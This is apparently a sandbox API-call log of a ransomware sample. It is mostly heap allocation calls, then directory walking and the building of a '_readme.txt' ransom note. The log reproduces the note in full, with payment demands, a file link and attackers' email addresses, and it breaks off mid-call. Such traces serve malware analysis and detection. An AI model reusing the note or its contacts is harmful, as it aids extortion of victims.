1 [0117.152] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.152] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.152] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.153] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.153] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.153] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.153] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.153] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.153] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.153] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.153] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.153] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.153] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.153] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.153] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.153] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.153] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.153] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.153] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.153] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.153] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.153] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.153] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.153] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.153] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.153] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.153] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.153] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.153] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.153] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.153] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.153] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.153] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.153] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.153] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.154] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.154] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.154] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.154] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.154] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.154] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.154] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.154] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.154] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.154] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.154] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.154] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.154] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.154] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.154] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.154] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.154] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.154] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.154] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.154] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.154] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.154] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.154] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.154] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.154] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.154] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.154] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.154] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.154] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.154] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0117.154] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.155] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.155] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.155] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.155] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.155] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.155] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.155] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.155] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.155] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.155] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.155] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.155] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.155] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.155] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.155] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.155] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.155] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.155] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.155] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.155] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.155] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.155] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.155] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.155] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.155] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.155] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.155] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.155] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.155] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.155] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.155] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.155] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.155] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.156] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.156] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.156] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.156] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.156] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.156] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.156] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.156] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.156] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.156] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.156] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.156] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.156] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.156] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.156] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.156] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.156] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.156] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.156] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.156] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.156] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.156] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.156] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.156] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.156] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.156] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.156] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.156] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.156] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.156] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.156] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.156] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.157] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.157] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.157] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.157] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.157] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.157] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.157] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.157] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.157] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.157] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.157] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.157] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.157] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.157] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.157] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.157] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.157] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.157] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.157] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.157] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.157] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.157] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.157] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.157] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.157] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.157] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.157] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.157] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.157] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.157] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.157] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.158] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.158] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.158] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.158] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.158] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.158] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.158] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.158] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.158] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.158] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.158] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.158] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.158] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.158] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.158] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.158] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.158] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.158] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.158] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.158] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.158] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.158] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.158] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.158] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.158] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.158] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.158] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.158] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.158] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.158] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.159] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.159] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.159] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.159] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.159] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.159] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.159] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.159] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.159] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.159] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.159] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.159] PathFindFileNameW (pszPath="C:\\Boot\\nl-NL\\") returned="nl-NL\\" [0117.159] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.159] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0117.159] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.159] PathFindFileNameW (pszPath="") returned="" [0117.159] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.159] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.159] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.160] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x800) returned 0x61eeac0 [0117.160] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.160] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x810) returned 0x676ab00 [0117.160] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.160] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.160] PathAppendW (in: pszPath="C:\\Boot\\nl-NL\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\nl-NL\\_readme.txt") returned 1 [0117.160] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.160] PathFileExistsW (pszPath="C:\\Boot\\nl-NL\\_readme.txt") returned 0 [0117.161] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x7d00) returned 0x6771170 [0117.161] lstrcpyW (in: lpString1=0x6771170, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0117.161] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all 